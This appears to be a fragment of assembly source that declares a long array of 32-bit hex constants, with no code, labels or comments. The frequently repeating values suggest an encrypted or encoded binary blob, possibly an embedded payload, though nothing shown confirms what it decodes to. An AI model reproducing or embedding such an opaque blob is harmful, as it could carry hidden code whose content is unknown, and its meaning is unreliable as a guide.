dd 0B51EDEh, 0AC2EA9F9h, 0EA99EECDh, 1572003Dh, 9B694432h
dd 1566223Ch, 156618DBh, 3B8F3A32h, 36800645h, 0D557880Fh
dd 15DF40CBh, 14668832h, 9E67CEC3h, 0D1E5063Eh, 0DD56E836h
dd 156683DBh, 4CBBDE32h, 0FA38111Dh, 0D39718C6h, 432366B5h
dd 753B1A67h, 0AA69DE52h, 9E0070C4h, 1F8FE9CCh, 4A664432h
dd 6E8DA02Fh, 0D5AB98A4h, 925277F1h, 10F8FA64h, 61675C78h
dd 4D381516h, 5F63161Fh, 1568AD4Ch, 0BAA62232h, 0EF6CB553h
dd 32B229B6h, 0B6D0B56Bh, 1567AA3Dh, 0D4931132h, 1B8F80DBh
dd 8A664432h, 942E4B14h, 8BDB744Eh, 76DB205Ah, 75A77589h
dd 749FDAB8h, 30AA9152h, 15640C3Dh, 74064432h, 90696853h
dd 0EA99EE68h, 156B6152h, 0F2134432h, 4F40DCD4h, 50E96907h
dd 75A28C63h, 1566C03Dh, 0D6EC2232h, 0DC0E7053h, 9C66886Ah
dd 0FC3E603Eh, 15662237h, 4461C674h, 0E2331D64h, 803B6026h
dd 15662ADBh, 0A7620632h, 66897B8Bh, 3152BB45h, 11A2A368h
dd 1A661132h, 15668CB3h, 0ECED2432h, 0D2EF7553h, 29ED2BBBh
dd 11A20B16h, 1561C03Dh, 9A692232h, 15661133h, 110ED9CBh
dd 4C664432h, 0FC3FE833h, 15661122h, 0BF97ADB1h, 8AB6C70Ah
dd 1CA95F45h, 0AB8B82F8h, 1578E05Ah, 3172CD32h, 19E52DCAh
dd 1A661132h, 15668EB4h, 15E04B32h, 0EA662232h, 0EF735CB7h
dd 15606135h, 0F75A4432h, 0C05AE01Dh, 2B84B9h, 1C8F8FC8h
dd 0A3664432h, 0B16C344Ah, 2EF3A137h, 397F1D0Bh, 916943C8h
dd 1566226Dh, 3152EECEh, 11A20968h, 75664432h, 4B3F7462h
dd 15661DDBh, 0B077A732h, 354B236Bh, 5606A8D7h, 1A0670D2h
dd 128E5885h, 0B6664432h, 8084905Dh, 94008347h, 4D16AFDAh
dd 3152BB53h, 11A2A16Ch, 15679C3Dh, 469F8832h, 15664089h
dd 9EB82332h, 0D1E7352Eh, 15668836h, 0E930ADCBh, 9E9EDDCDh
dd 9C373526h, 11A709D3h, 94664432h, 156626F3h, 316A9632h
dd 9E00E86Eh, 0AC0024EDh, 0AC003CA5h, 74071E5Ch, 15669ADBh
dd 0D7D1F232h, 0D0B7D0C6h, 0F9FDC767h, 34D4F44Ah, 0EA8B40DAh
dd 96380606h, 58F15F6h, 0EA668832h, 51F23D37h, 0F6799142h
dd 0A0AF1721h, 745285B5h, 48E2452h, 37662232h, 35A6651Bh
dd 0AF0F30CCh, 0D5551DBBh, 752F981Bh, 743C406Ah, 193C7D8Ah
dd 48F256Ch, 5E662232h, 83D25E1h, 686BCE54h, 6AB2FDAFh
dd 0A6F5F2D5h, 43421DB9h, 0D3E76EBBh, 15664436h, 1562E4B3h
dd 21E11132h, 9069D416h, 15664433h, 3162A9CEh, 94839867h
dd 15668CF7h, 11A3C532h, 92662232h, 0ED3A351Eh, 340B0DF5h
dd 156643C8h, 94692232h, 15661139h, 0E2D18752h, 756DB3B3h
dd 0D20703C6h, 0EF47D4B7h, 15668835h, 0A8E5BC32h, 1D67D0DAh
dd 34E21E32h, 1A668832h, 156648B2h, 13E82D32h, 1A661132h
dd 156688B9h, 28FBC932h, 0EC6E228Fh, 9E06C2CDh, 74AC03CCh
dd 14CBC1CDh, 750625C8h, 258E9054h, 15EE87AEh, 74664432h
dd 1564A73Dh, 74061132h, 0B8DB0B53h, 7161BE33h, 1731A03Dh
dd 0FD061132h, 15668821h, 0C48B710h, 0FFB7B333h, 5C882C4Dh
dd 9DA97E2Eh, 9424DD9Dh, 7A4310E2h, 0E7E74B2Eh, 55FAF190h
dd 0B8E38353h, 1461D833h, 1A661132h, 156699B4h, 156AAD32h
dd 0A16B2232h, 2EC5BF4Eh, 7E92A934h, 75932585h, 0F6E74452h
dd 9E0622B6h, 0D7EDEEEAh, 90EB2553h, 1D67504Eh, 1AB6EECEh
dd 156689BCh, 0A0EBBD32h, 1D67D18Ah, 1560F8CBh, 62938832h
dd 0D33BE4E1h, 94579FBFh, 1A061930h, 15668EB7h, 15E54B32h
dd 0FC662232h, 15661123h, 23792877h, 34A1CE90h, 7BFB32D9h
dd 1A663209h, 0AB30E99Eh, 4DBB5544h, 0CCCBCCB3h, 0E2673B0Dh
dd 9491A16Ch, 88518DDDh, 0A269421Ch, 936947CAh, 15668832h
dd 700E2569h, 9C66226Eh, 0FC3C350Eh, 1566883Ah, 8E484190h
dd 0F2C72B76h, 2E3ACB9h, 94068FC8h, 2067CCD3h, 156FCB50h
dd 0DFD61132h, 0B1CDD4D6h, 74682D36h, 0EA99DD8Bh, 1AEF1ECDh
dd 0FC668832h, 15664438h, 0EC614DECh, 0B3FD51E5h, 0D5578671h
dd 15DF15CBh, 14662232h, 9E679BC3h, 0D1E7AC3Eh, 15664436h
dd 1AAE12CBh, 15661BBDh, 0DEE7E832h, 2E514402h, 43077B63h
dd 0EA423DB1h, 11ED7D6Ch, 1DE44BB5h, 75662232h, 15669D3Dh
dd 0D4078832h, 1A064CDBh, 7330E185h, 4E76338Dh, 75A7B953h
dd 1562CD3Dh, 0AB002232h, 9E0020F0h, 1A2CE9C5h, 0EA99DDB7h
dd 12E92DCDh, 1A661132h, 156689B1h, 9E37BD32h, 0D1E70636h
dd 15661136h, 1561073Dh, 96694432h, 15662233h, 487E79CEh
dd 11EF8832h, 3172B316h, 9E69426Ah, 15661132h, 905FE9C7h
dd 129C4947h, 1505A63Dh, 97691132h, 15668835h, 1567C33Dh
dd 0AD932232h, 1E256C59h, 0EC5CCB07h, 0EA8EC746h, 84D0307h
dd 869E142Ah, 1E9E106Ah, 3DE34BF2h, 0ED662232h, 19B794F5h
dd 15678FC8h, 0FD064432h, 1566223Dh, 7B5C8B87h, 0B6B96568h
dd 0B300B908h, 1A5BAD52h, 156611B4h, 4507D632h, 4CDCFD63h
dd 0DDEF2203h, 4DA7106Bh, 7306E9CAh, 0FCA00E88h, 15662223h
dd 108AA772h, 0BDFDDA3Ah, 6E81B4E4h, 0A779DE60h, 0FC067080h
dd 15668822h, 108008D5h, 0AE2D5698h, 0E97530EDh, 0A93F307Ch
dd 118AC553h, 9C662232h, 50D83506h, 9C49C4EBh, 439E1AC3h
dd 6F1B518Ch, 0FFA8901Dh, 9417EA74h, 0EA36E3D4h, 5C90A321h
dd 4568EA42h, 22839F8Ah, 4DA06DEAh, 1A38D0BBh, 156610BEh
dd 0FCCB7432h, 1566443Bh, 584A9AF9h, 0D722EF26h, 0ECD30101h
dd 0FC61BE11h, 1566223Ah, 1CE5AE13h, 4AF28254h, 9C62A8B1h
dd 15DE0636h, 9C661132h, 1A3E7474h, 15665CB2h, 7E52D32h
dd 0FC661132h, 1566883Fh, 42EE03FBh, 5534049h, 72E93B55h
dd 0FB88B581h, 9069AADCh, 156622EEh, 9C697152h, 15668832h
dd 156655DBh, 37C7A832h, 92D27F9Eh, 0DDEB1860h, 0D6FD0F26h
dd 0AF073790h, 339C6AB5h, 0C8580953h, 1ABB99EFh, 156689B7h
dd 156AF832h, 0F0488832h, 20201BAh, 7E5201FDh, 0AF346845h
dd 3934FBB6h, 6229F967h, 0F8A7502Eh, 0D0E75C37h, 3B5FC09Dh
dd 943BAE03h, 8D39CEC0h, 4F70982Fh, 45623252h, 749F2EB0h
dd 15629A62h, 0D3E71132h, 77BB340h, 0FBE78233h, 77B1940h
dd 0A269716Ah, 5EB87C9h, 0FD664432h, 15662238h, 5B043B42h
dd 0D5851634h, 74397D4Bh, 369F97BBh, 1B8F16C8h, 0EB668832h
dd 56476BE5h, 44B44281h, 0BEC88549h, 38E6616Ch, 0FC934432h
dd 0EA99DC9Bh, 1570933Dh
dd 48F8832h, 45664432h, 0C41D5E3Dh, 0C8CA169Eh, 74ED8A79h
dd 0B591315Ah, 9CA4AB60h, 31729AE1h, 0FC624CB1h, 1566443Bh
dd 20C7651Ah, 7868812Fh, 0C4E3BB68h, 0EC61BE3Eh, 0ED65EAF3h
dd 0D22B3C37h, 67988D2Ah, 0C54F4E7Eh, 5914DC1Fh, 584B3C38h
dd 1E8F90F5h, 4F664432h, 4F45D767h, 0B3963EB2h, 0D5A76CE8h
dd 1E64B22h, 1A662232h, 15661FBBh, 156F6132h, 94E94432h
dd 0FBD76A4Bh, 24EEE3E7h, 9F0674FAh, 88EF25D5h, 129C2EE3h
dd 15662CCAh, 96698833h, 15664671h, 156AA73Dh, 96691132h
dd 15668834h, 1566CC3Dh, 2BE72232h, 0AEDDAA89h, 17430D3Dh
dd 429F4432h, 1106F18Dh, 22A9907Dh, 941BA243h, 3B17B3DDh
dd 15DD714Dh, 14661132h, 4E5D01C1h, 1E8F246Dh, 4C662232h
dd 3F5A78A0h, 0CFF9B5C4h, 6ED8DF01h, 740B5738h, 156616DBh
dd 0E1D0D032h, 0D2DA3774h, 15629860h, 0C3671132h, 96429CB9h
dd 9F6940F6h, 1566223Fh, 156619DBh, 0B2F98832h, 8C7C7719h
dd 0ECD3ABB5h, 0FC61EB11h, 15668820h, 36144350h, 2D3A815Bh
dd 584419C7h, 0A7BEBD88h, 88ED0E17h, 129C34B7h, 15661DDBh
dd 7130ED32h, 0AC4A801Ch, 0BD9D2D17h, 4255EE04h, 0F35388Dh
dd 311A6D17h, 943F7D36h, 0F35A1F3h, 1C8EE817h, 81664432h
dd 7BD1A083h, 0A224BF7Fh, 1566033Dh, 1A3E4432h, 156624B0h
dd 15ED1E32h, 74668832h, 1577AD52h, 0CA5A2232h, 0F79B8F0Ah
dd 0E3659554h, 0BAF9FCD6h, 73BF77A4h, 0D7BED7B3h, 1469E053h
dd 29EF4432h, 9CA1AB16h, 1F8F4EC8h, 58668832h, 98310E81h
dd 8507C187h, 75067190h, 0A4A90354h, 94692592h, 15662234h
dd 15669F3Dh, 46078832h, 0CDEF97BBh, 96423EB9h, 9F6915F6h
dd 15668833h, 9E0024CBh, 0A26942EAh, 156FF8C1h, 0E8128832h
dd 0C4ED5642h, 74C492EEh, 0D0E33A53h, 1A61721Fh, 156648B2h
dd 13E62D32h, 1A661132h, 156688B0h, 78E2432h, 1662232h
dd 3198E51Ch, 0D6FC5CCCh, 0FB4FE8E1h, 0B94C10CFh, 4D077104h
dd 15668EDBh, 0AA227532h, 749D153Eh, 1A64F1F3h, 156683B5h
dd 1560AD32h, 219A2232h, 37441620h, 20470D31h, 459E43C8h
dd 1562CEB3h, 21EF1132h, 7538D016h, 156643DAh, 0A13A1D32h
dd 0FB90ACFFh, 15660A3Dh, 75384432h, 0A788A354h, 0C7DC77FBh
dd 0B807E9CAh, 1567CC3Dh, 389F2232h, 6D2239CBh, 0D54D5A1Fh
dd 10AE4511h, 36A609E0h, 514EE837h, 51EF744Ah, 94065816h
dd 36DAEAD4h, 0FBDF7744h, 0AC06E937h, 2FFABA6h, 156625DBh
dd 632E9932h, 217C2CFh, 0FC932553h, 1566214Dh, 15661BDBh
dd 8DD89132h, 0E5B64A6Fh, 40264223h, 0D0E7F4BBh, 15668836h
dd 1562A9B3h, 39E12232h, 19EF4D16h, 15756116h, 920C4432h
dd 0DD4521CAh, 0B13967E8h, 61E2578Ah, 7330138Fh, 9C36D73Bh
dd 156214D2h, 114B8832h, 92664432h, 9C3A0636h, 249F3526h
dd 12E287FBh, 75664432h, 92ADA354h, 80ED7056h, 129C9D9Fh
dd 1578C13Dh, 94692232h, 1566112Ah, 15669BDBh, 0B8DB1E32h
dd 84BF4712h, 276E74EBh, 0C9A86375h, 0C87A5A95h, 15662BDBh
dd 2DEF6A32h, 0DC4DDD2Ah, 175D1FD2h, 1466A63Dh, 95061132h
dd 7D071EE0h, 15665C25h, 0AA421EBBh, 15661136h, 1A397233h
dd 156650B5h, 1BE82D32h, 0FC661132h, 1566883Bh, 2BE80158h
dd 0E67DF362h, 1572F803h, 0F1518832h, 0C95551D9h, 0B0B4AE28h
dd 5B4CD5EEh, 3783804Ch, 0AE35747Ah, 7548220Fh, 0D6E7CAC5h
dd 7548880Ch, 1A3D9D33h, 156623BCh, 985DE432h, 129CA42Bh
dd 0EAEAC13Dh, 18FDDCDh, 0A3661132h, 53CCF7D3h, 3A50866Bh
dd 9AD91FE4h, 810A7890h, 4721765Bh, 6D59005Ah, 942C786Fh
dd 25D17F0h, 4FB60124h, 1063A4F3h, 9B7694D2h, 1BE81ECEh
dd 0FC668832h, 1566443Bh, 19C3A06Dh, 9A74FD87h, 73EB056Dh
dd 0FC61BE7Dh, 15662239h, 0A80695E9h, 5431D659h, 1A377CFAh
dd 15662CB4h, 9C697132h, 15668832h, 1566CF3Dh, 0EA072232h
dd 6DC71D3h, 0FD02A28Dh, 15664437h, 4AAA86C1h, 7A19008h
dd 4F64C3D4h, 949F2453h, 44E9F9D4h, 98EF7076h, 129C9D7Fh
dd 3172CFCBh, 9480AB64h, 156615F4h, 11A00932h, 92664432h
dd 1A3A0606h, 15661DBDh, 0D7E7E832h, 63A7D12h, 48609C54h
dd 316A9A53h, 94840160h, 156640F0h, 11A4A332h, 92661132h
dd 0FC3AAC26h, 15664421h, 6FC8173Ah, 7D779983h, 1773437h
dd 2BD5A510h, 96E6A991h, 21EF15DEh, 128EE816h, 6E664432h
dd 0F792109Dh, 4A9AA6C5h, 15669CDBh, 0A076D732h, 5E4817BAh
dd 87C566F7h, 99CC45C9h, 21AA6FF0h, 88ED4390h, 129C07B7h
dd 156687DBh, 9CE13532h, 0F3A0627Eh, 2AD2571Dh, 0DA048D5Ch
dd 0AF3477CDh, 1972164Ah, 11424533h, 0FCE7D168h, 1972704Ah
dd 1567AB3Dh, 9E9E1132h, 0EF73C5B7h, 0F5B7B835h, 156627DBh
dd 10489632h, 9065A010h, 129C6A27h, 15662FDBh, 10963532h
dd 703DD446h, 0AEBCD390h, 0E357C41Eh, 156614DBh, 0A810C32h
dd 249E8EC5h, 24A013C2h, 12EA1EC2h, 1A668832h, 156645BAh
dd 198FDE32h, 0A8661132h, 0C1CEB1CAh, 0DF7D86AEh, 7391064Fh
dd 14EB1E9Fh, 0ED668832h, 1A64A4F3h, 156623B7h, 9065E832h
dd 129CBD13h, 0AA691552h, 1C8E79E8h, 92661132h, 728BDAC0h
dd 6376FAD3h, 743F7D63h, 156614DBh, 0E43B6532h, 0E557E8C0h
dd 0E557E403h, 1FEC1E52h, 0FC668832h, 15664437h, 0DC9F93FFh
dd 0E7ED7744h, 0FD062553h, 15664439h, 0F0F96CBFh, 37FD6D9Dh
dd 47BC48DCh, 0FC071C6Ch, 1566223Ch, 5A27E515h, 8F70404Dh
dd 26491DEFh, 324BCD6Ch, 383F0C4Eh, 3B22EC4Dh, 6A638C33h
dd 10486656h, 4C7B6D15h, 1568033Dh, 1C8F4432h, 0B4662232h
dd 0D94EE256h, 0BC7166D1h, 464270B9h, 0D6E7C1BBh, 15661136h
dd 15624BB3h, 9E14432h, 969F7E16h, 0EF7BF88Fh, 91698935h
dd 156644B4h, 156624DBh, 0AD56A532h, 2E5F9969h, 0EF6EE1BFh
dd 7AE22D35h, 1A661132h, 156689BDh, 985DBC32h, 129C2727h
dd 153A953Dh, 0ED068832h, 2E07AB84h, 0EF6CD7BFh, 5EE21E35h
dd 75668832h, 248FFB54h, 0C7BEA354h, 88EB7050h, 1D64DA1Ah
dd 1567CF3Dh, 0EA9F2232h, 9E36EDE1h, 0D1E7AC0Eh, 15664436h
dd 1567A43Dh, 9C9A1132h, 0EF7031B7h, 739A2435h, 0FC07E4B9h
dd 156631C5h, 1567053Dh, 1A934432h, 156623B0h, 88EBE932h
dd 1D64DA1Ah, 75B5BBCAh, 49A54h, 29DAB54h, 0FCDB0B53h
dd 1561BE2Fh, 1514A63Dh, 78F1132h, 83668832h, 0F4643D59h
dd 1340D0A1h, 375F4314h, 0D8241466h, 20E37FB9h, 1A61D835h
dd 156623B6h, 156D6132h, 0CB764432h, 3E7949CEh, 0B7C11179h
dd 40E3B363h, 1A61BE34h, 156611B7h, 5EC1E32h, 0FC668832h
dd 15664439h, 0AF4A4D0Fh, 1491CD4Ch, 0FC21F6F5h, 0EA99BB74h
dd 17E32D52h, 0A3661132h, 0C6D18796h, 1560AD53h, 0C0352232h
dd 3125637h, 3FCF0D09h, 906943C8h, 1566224Fh, 1561993Dh
dd 98698832h, 15664433h, 0F8DBA1CBh, 1561EB01h, 15490C3Dh
dd 1D8F4432h, 0F0662232h, 7497FB79h, 96D0F064h, 0EF429D8Fh
dd 91692235h, 1566117Bh, 0DBA00952h, 940E1A59h, 26BCC9E8h
dd 91697076h, 15668833h, 0D1E3C9C7h, 0FC6E23AAh, 1566113Dh
dd 0B55E7B8h, 0CE114942h, 0DA870415h, 0FC6627FFh, 0EA997688h
dd 156654DBh, 6E0DAA32h, 29EAA24h, 5C37B831h, 12EF44FFh
dd 0BCE319D1h, 1A61EB18h
dd 0EA9811B6h, 0A8E5BCCDh, 1D67D0FEh, 4BE31E33h, 1A668832h
dd 15665DB2h, 0AF004232h, 1B8F60F7h, 0C6668832h, 0B1889A80h
dd 0F3AE4D2Bh, 815ECBBh, 905DE9FCh, 1D67B732h, 1555A73Dh
dd 75061132h, 156680DAh, 81157A32h, 1EFD3174h, 749A4E19h
dd 0F1E30553h, 0FC661D39h, 1566223Dh, 50775E21h, 0A017D091h
dd 48A0FD0Dh, 0FC02D7AEh, 0EA99EF0Ch, 0ED99B9C7h, 3397F9B1h
dd 1A6625C8h, 15773EB6h, 95067432h, 940065C2h, 741E7DFDh
dd 0E78A9409h, 90698033h, 15664470h, 90EDD7C7h, 129C1CC7h
dd 1567073Dh, 449E4432h, 2774E88Bh, 94275812h, 92261BF3h
dd 0C687C540h, 94501B3Bh, 2C6741C3h, 4CA98920h, 1576CB3Dh
dd 1E8F2232h, 33661132h, 0C5168310h, 689BBFD0h, 905D803Fh
dd 1D67E3C6h, 157C0D3Dh, 97694432h, 15662233h, 1CE39AC7h
dd 7561721Ah, 0AE3525C7h, 0EA99DDCDh, 0ED3DCE1Bh, 0E7960D09h
dd 90694C33h, 1566226Dh, 157E983Dh, 0FD068832h, 1566443Ch
dd 0CCB855D8h, 0FBAA34D6h, 0EE970C78h, 753DA108h, 90ED4353h
dd 129C3143h, 15669BDBh, 60364632h, 0E3A847DDh, 5D8C81CBh
dd 1B5141FAh, 454B1358h, 4225FDB5h, 753D4E61h, 156A063Dh
dd 138E4432h, 39662232h, 0E5F011E6h, 9269D315h, 15664430h
dd 2E074352h, 1494E9B7h, 41E3873Ah, 75664432h, 1AA5A954h
dd 9E07D385h, 0EF6B69B7h, 0DE34B35h, 75662232h, 0FCBE9A54h
dd 1566883Ch, 89BCAA6Eh, 0FC0F9BDAh, 0A8FE0F79h, 400706A1h
dd 1566458Fh, 48892332h, 0FDFDA552h, 1566883Bh, 51BA6186h
dd 209774CAh, 1563F95Fh, 467F8832h, 4B0EEC3Fh, 2E934368h
dd 1494EDB7h, 34E3873Ah, 75664432h, 7398953Dh, 8CFC7B3h
dd 20E30353h, 7561BE34h, 0EDBFC3B2h, 0AD36E953h, 15668833h
dd 0ED3E8333h, 0E666A709h, 90691933h, 15668808h, 9400B852h
dd 748447D9h, 86794B9h, 44938FC8h, 0EE66E08Bh, 0CC916B6Fh
dd 65979073h, 94056A2Ah, 5D6591C3h, 11A7A37Ah, 3C104029h
dd 128FD1FDh, 67664432h, 90D4DA82h, 905D64DDh, 1D677B36h
dd 154BC13Dh, 74062232h, 331794B9h, 58F8FC8h, 71664432h
dd 0DBF776BFh, 9BB48658h, 7E50EEBFh, 0ED06EBEBh, 15679860h
dd 0C2671132h, 0E3D3E868h, 2E0795B9h, 14952AB7h, 51E31E3Ah
dd 1A668832h, 15664ABDh, 9D694232h, 15661132h, 1566053Dh
dd 9E074432h, 0EF4913B7h, 1DE31E35h, 1A668832h, 156646BEh
dd 47074232h, 15661088h, 4FB18932h, 156BC73Dh, 1A062232h
dd 156611BAh, 0C3F63332h, 2E072EF0h, 14952EB7h, 22E31E3Ah
dd 1A668832h, 156645B1h, 90EDDA32h, 129C05BFh, 1567073Dh
dd 47934432h, 0FB7F5F88h, 1384D044h, 2E174AB3h, 0E7E77842h
dd 7FD83E0Dh, 5F64F3F3h, 0F507AB3h, 0C2673110h, 905DDE68h
dd 1D67E222h, 15340D3Dh, 9C694432h, 1566223Ah, 8DDF7752h
dd 7407E8B5h, 0E82DFF52h, 9E07329Eh, 0EF4998B7h, 1AEB8735h
dd 0FC664432h, 15662238h, 0DD3CCA9Eh, 45B1C1D9h, 0AC370002h
dd 15662233h, 753FDE33h, 156685DBh, 0E5E17632h, 66AF9FCh
dd 95A5900Bh, 9400DA0Ch, 745103F2h, 0E67EA709h, 90691933h
dd 15668806h, 17E64B52h, 75662232h, 0D4ED4653h, 90EDE968h
dd 129C5363h, 156633DBh, 7CDFF932h, 8D78C3DBh, 0C9E8D78Fh
dd 9F56D455h, 0AD3652FFh, 0EA9977CDh, 0ED3E831Bh, 0E672A709h
dd 90691933h, 15668840h, 156649DBh, 0EF562432h, 2DAC9DA0h
dd 0A58E5591h, 9369BE4Ch, 15662236h, 74A19B52h, 347F35B1h
dd 1A6643C8h, 15666BB7h, 42067132h, 15EA876Bh, 74664432h
dd 90EDDE53h, 129C094Bh, 74980352h, 0E4D94B52h, 1564A33Dh
dd 74061132h, 0EADED853h, 3C99BBCDh, 91697AF5h, 15661124h
dd 156699DBh, 0D5A14732h, 4B63B04Fh, 82A9DA3Bh, 0B3CF2D93h
dd 0A8E59703h, 129C23E7h, 51E21E32h, 1A668832h, 156648BBh
dd 13E82D32h, 1A661132h, 156688B2h, 0B5E37F32h, 1A6E23C1h
dd 156637B7h, 15616132h, 0EFB04432h, 51CD1ECAh, 28E39A2Bh
dd 0E0617224h, 4BF9F967h, 0F0A731C6h, 34A39037h, 14E7FC1Eh
dd 969E19DDh, 0EF69B78Fh, 91691135h, 15668AB5h, 156AC13Dh
dd 0AF062232h, 3E424ADh, 98A40954h, 0A8E525FEh, 129C2D9Bh
dd 7DE21E32h, 0E9668830h, 156ECD3Dh, 73062232h, 75008A8Bh
dd 905DE953h, 1D67B7B6h, 155AA73Dh, 0A2061132h, 90EDE975h
dd 129C6E73h, 1569CB52h, 0A7931132h, 24622472h, 0FB0C3B93h
dd 89D4DB8Ah, 13E81E72h, 1A668832h, 156644B5h, 0AE354332h
dd 0EA99EECDh, 1A3D571Bh, 156645B7h, 905DDE32h, 1D67E2A6h
dd 15330D3Dh, 128F4432h, 0A0662232h, 7F0382B0h, 1A06FFCEh
dd 0A269858Dh, 90ED43C2h, 129C25ABh, 1567013Dh, 42934432h
dd 0EA420EB1h, 14ED1E6Dh, 0E9668832h, 0D4E72252h, 0FC06F001h
dd 1566113Bh, 0FE77D5FFh, 0D9C2B712h, 156DCB6Dh, 651A1132h
dd 234AE3C9h, 1F1DBBD3h, 2E0743A5h, 149599B7h, 4BE3873Ah
dd 75664432h, 0E786A354h, 0CDED77BBh, 0E0E30353h, 0FC61BE1Bh
dd 1566223Fh, 60F98F78h, 58BB6E26h, 2242F9A9h, 0E82DB1h
dd 1A661132h, 156687B4h, 156CAD32h, 0ABC22232h, 7C5BA14Fh
dd 83715D07h, 0EA99FA64h, 0E24FDDCDh, 7E31E6Ch, 0FC668832h
dd 1566443Fh, 6ADCADF5h, 8137247Fh, 4EF21E8Eh, 8DE37F8Fh
dd 1A6E23C1h, 15665CB7h, 156F6132h, 800C4432h, 0A4036A9Fh
dd 9E9FE833h, 0EF5419B7h, 1576AD35h, 91E82232h, 4A82FA47h
dd 1153670h, 9C82C946h, 0AF341F61h, 15661133h, 1A3C5F33h
dd 156651BBh, 1576CB32h, 92661132h, 0B8FD955Ch, 3CDDA94Ch
dd 0DEBA30E1h, 905D7DA2h, 1D677BAEh, 154FC13Dh, 9E9F2232h
dd 0EF4018B7h, 42937035h, 9E4240CDh, 0D1E7060Eh, 15661136h
dd 156B013Dh, 1D8F4432h, 66662232h, 353F5559h, 2E546AA3h
dd 1495C8B7h, 4FE32D3Ah, 0FC661132h, 1566883Fh, 7F042A40h
dd 22E707E1h, 9DFF44E4h, 0D8E303FBh, 0FC61BE3Dh, 15662239h
dd 1F76F33Dh, 888C57ACh, 75003642h, 4DF44CEh, 0AF34708Eh
dd 6BC0BDE2h, 9461A6F3h, 353C2BF8h, 0B8AC9032h, 9446FB0Ah
dd 916316C0h, 4FB10BBEh, 2DE0AA52h, 0FCE7BDCFh, 328E2Ch
dd 85E31953h, 1A6E10C1h, 1566CEB7h, 4E84B32h, 0FC662232h
dd 1566113Eh, 461E6156h, 99379950h, 1A0C7461h, 361B94B9h
dd 0FC068FC8h, 15664438h, 48C98E8Bh, 7FD2C2F9h, 0AE005287h
dd 46070B7Fh, 15662389h, 4EB91032h, 15668EDBh, 0AA9F1B32h
dd 96B1F259h, 0EF69B88Fh, 91698835h, 15664EAAh, 1561A63Dh
dd 0AA061132h, 2B13021Ah, 9E37F53h, 1A6E23C1h, 156641B7h
dd 0AB067032h, 0DEBA922h, 749DA954h, 17B394B9h, 198F8FC8h
dd 0EE664432h, 981CB0C2h, 173D2228h, 249655C9h, 249D75EDh
dd 0CAE161EDh, 156600DBh, 0EE6C0F32h, 40392937h, 3F5B816Ah
dd 3CAD72FFh, 1F8FDBB1h, 8A664432h, 2F892600h, 35450AD3h
dd 0A5E3B3C9h, 1A6E45C1h, 15661CB7h, 9B697132h, 15668823h
dd 15664FDAh, 0FCAACC32h, 16631882h, 0BE2945ECh, 90ED256Bh
dd 129C09FFh, 0A2694252h, 4307D0CAh, 1566458Ch, 4B912332h
dd 16E11E52h, 73668832h, 0AF00B3B9h, 2E0715A7h, 149531B7h
dd 5BE3873Ah, 0FC664432h, 15662239h, 46F99D6Fh, 54F5F649h
dd 9E27685Eh, 0EF48F7B7h, 1D8F7135h, 73668832h, 63E68F5Eh
dd 1A72C9B7h, 156617B5h
dd 15ED8732h, 74664432h, 3162DD65h, 96422DB9h, 97698CF6h
dd 1566443Fh, 15662ADBh, 3AF47E32h, 0BEEE1340h, 31E37FD2h
dd 1A6E23C1h, 15662EB7h, 1DE18732h, 1A664432h, 156620B3h
dd 9E077132h, 0EF6A05B7h, 3DD72435h, 1566AD3Dh, 45071132h
dd 1566898Ah, 4DA14532h, 156631DBh, 7E659132h, 0F1306DC6h
dd 0A059252Ah, 0CB39322Fh, 9FBCB583h, 0E64E0D09h, 90694C33h
dd 1566225Dh, 15679E3Dh, 9E9E8832h, 0EF7B8DB7h, 1AE42D35h
dd 0FC661132h, 15668838h, 6B62A7B0h, 1BD8B5D4h, 9B699E01h
dd 1566883Eh, 1560CF3Dh, 9C692232h, 15661132h, 26F43260h
dd 0FFE7473Ah, 34682170h, 9484C078h, 0E10615D8h, 4FB145F1h
dd 95ADA952h, 1A07B7F5h, 15669EBCh, 1577AD32h, 61F02232h
dd 0B1F99665h, 0BEE3BECAh, 62EBFDDh, 2E131667h, 14953DB7h
dd 54E3873Ah, 0E9664432h, 347F9FB1h, 1A6616C8h, 1566BBB7h
dd 19E44B32h, 1A662232h, 156617BAh, 15E48732h, 9E664432h
dd 0EF44EBB7h, 0AD36ED35h, 0EA9977CDh, 0FC3E831Bh, 1566223Eh
dd 0E1EA752Eh, 0EE0D80E6h, 61C25FF6h, 0E656A709h, 90691933h
dd 15668874h, 156ECF3Dh, 91692232h, 15661130h, 90EDE952h
dd 129C4627h, 0E62DC7h, 0FC661132h, 15668822h, 97A6429Ah
dd 19AE342h, 0F522951Dh, 27236E3Eh, 850FE60h, 0FFA7058Eh
dd 39A49036h, 3C9B0C0Ch, 9E061EE5h, 905D43C3h, 1D67E206h
dd 150E0D3Dh, 1B8F4432h, 8F662232h, 2B2A0E44h, 0F02D8634h
dd 95AA1371h, 0CDBA193h, 1561EB13h, 152E0D3Dh, 96694432h
dd 1566223Bh, 8399AF52h, 4B30DCCBh, 18E3CF53h, 7561D83Ah
dd 0AABD9054h, 0AD93E826h, 223F21FAh, 0AC374353h, 0EA99EECDh
dd 753F471Bh, 156AAD61h, 68E42232h, 0B07DA29Eh, 0B4D51AB9h
dd 943CE55Bh, 5E7080C5h, 905D7048h, 1D677B0Ah, 150DC13Dh
dd 94692232h, 15661123h, 156684DBh, 69557132h, 0A9A0C40Dh
dd 33AE3E1Ah, 8CE3034Eh, 1A61BE26h, 15663CB7h, 18F7132h
dd 14668832h, 0D864A9FDh, 0C679C1F9h, 0A7D862BAh, 0DD461229h
dd 1A33F563h, 1A07D585h, 15661CBAh, 9369E832h, 15664432h
dd 29A7A354h, 0AE357025h, 0EA9977CDh, 1A3D9B1Bh, 15662AB9h
dd 9F697132h, 15668832h, 29E37F53h, 1A6E23C1h, 156659B7h
dd 9E9E7032h, 0EF7A69B7h, 1AE82D35h, 0FC661132h, 15668838h
dd 9E18670Bh, 20762EFh, 48F5770h, 0DF668832h, 29AD6C7Ah
dd 95A2A03Eh, 760C035Bh, 16DC434Ch, 1567FD63h, 0DA672232h
dd 1561F86Bh, 489D8832h, 3069AB8Dh, 51E319B7h, 1A6E10C1h
dd 1566DCB7h, 1CEE4B32h, 75662232h, 78308Ah, 7407E83Bh
dd 347FF9B1h, 1A6625C8h, 156629B7h, 156E6132h, 4CCA4432h
dd 83E06A0Ah, 90ED3DDCh, 129C97ABh, 156649DBh, 0E87CED32h
dd 1BD520B4h, 2C7301FCh, 0AE355351h, 0EA99DDCDh, 0FC3DCE1Bh
dd 15668837h, 3956CC28h, 55E31937h, 1A6E10C1h, 1566E0B7h
